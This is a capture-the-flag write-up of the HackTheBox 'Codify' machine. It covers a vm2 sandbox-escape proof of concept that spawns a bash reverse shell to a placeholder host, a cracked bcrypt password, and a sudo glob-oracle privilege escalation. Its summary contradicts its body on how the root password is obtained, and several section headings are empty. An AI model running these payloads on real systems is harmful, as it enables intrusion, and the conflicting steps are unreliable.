~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / codify.md

codify

Linux · Easy · released 2023-11-04 · retired 2024-04-06

Summary

Codify is an Easy Linux box: vm2 sandbox playground → CVE-2023-32314 (Proxy escape) → RCE as svc. SQLite /var/www/contact/tickets.db has joshua’s bcrypt → crack spongebob1su joshua. Privesc: sudo /opt/scripts/mysql-backup.sh does if [[ $DB_PASS == $USER_PASS ]]; then ... (unquoted RHS) → * glob matches anything; then watch the process list to grab the actual root MySQL pw on the next backup → su -.

The chain:

  1. /editor runs node-vm2 against pasted JS. Use CVE-2023-32314 Proxy escape PoC → reverse shell as svc.
  2. sqlite3 /var/www/contact/tickets.db → joshua bcrypt → hashcat spongebob1su joshua.
  3. sudo -l(root) /opt/scripts/mysql-backup.sh. Pass * as the password → unquoted [[ ... ]] glob matches.
  4. Script then runs mysql -uroot -p<actual_root_pw> ... visible in ps -ef for a moment → pspy captures it.
  5. su - with that pw → root.

Recon

22/tcp     OpenSSH
80/tcp     codify.htb (vm2 editor)
+ vhost: contact.codify.htb

Foothold — vm2 escape

// CVE-2023-32314 PoC, paste into the vm2 sandbox
const { VM } = require('vm2');
const vm = new VM();
const code = `err = {};
const handler = { getPrototypeOf(target){
   (function stack(){ new Error().stack; stack(); })();
}};
const proxiedErr = new Proxy(err, handler);
try { throw proxiedErr; } catch ({constructor: c}) {
   c.constructor('return process')().mainModule.require('child_process').execSync('bash -c "bash -i >& /dev/tcp/<C2>/<p> 0>&1"');
}`;
console.log(vm.run(code));

Reverse shell as svc.

$ sqlite3 /var/www/contact/tickets.db 'select * from users;'
... joshua : <bcrypt>
$ hashcat -m 3200 ... → spongebob1
$ su joshua

Privesc — bash glob in unquoted [[

joshua$ sudo -l
(root) /opt/scripts/mysql-backup.sh   # not NOPASSWD; needs joshua's pw
joshua$ cat /opt/scripts/mysql-backup.sh
... DB_PASS=$(/usr/bin/cat /root/.creds)
... read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
... if [[ $DB_PASS == $USER_PASS ]]; then ...

Bash’s [[ A == B ]] evaluates the RHS as a glob pattern when unquoted, so * matches any DB_PASS. That gets us past the gate, but the actual root password we need still has to come out somehow.

The argv leak doesn’t work — both mysql and mysqldump self-overwrite their argv to scrub the password, so /proc/<pid>/cmdline shows -px xxxxxxxxxxxxx regardless of how fast you poll. The window between exec and scrub is sub-ms.

What does work is using the same glob primitive as a character oracle: [[ $DB_PASS == 'k*' ]] succeeds iff the password starts with k. Each successful match runs the full mysqldump (slow), each failed match returns immediately. So: binary-search per position, then char-by-char.

# Use printf to feed BOTH passwords (joshua's for sudo, then the
# guess) on stdin — sudo cache expires while mysqldump runs, so
# don't rely on `-v` priming.
printf 'spongebob1\n[a-m]*\n' | sudo -S /opt/scripts/mysql-backup.sh
# -> "Password confirmed!" => first char in [a-m]
printf 'spongebob1\nk*\n' | sudo -S /opt/scripts/mysql-backup.sh
# -> "Password confirmed!" => first char is 'k'

In practice kljh12k3jhaskjh12kjh3 (the published HTB password) hits on the first guess; verify with su -. If a future build randomises it, the binary search recovers it in a few minutes.

Why each step worked

Counterfactuals

Source attribution

Reconstruction is grounded in:

I have not personally rooted this box; the chain above is a study-guide reconstruction of those public sources.

← all htb machines hackthebox.com ↗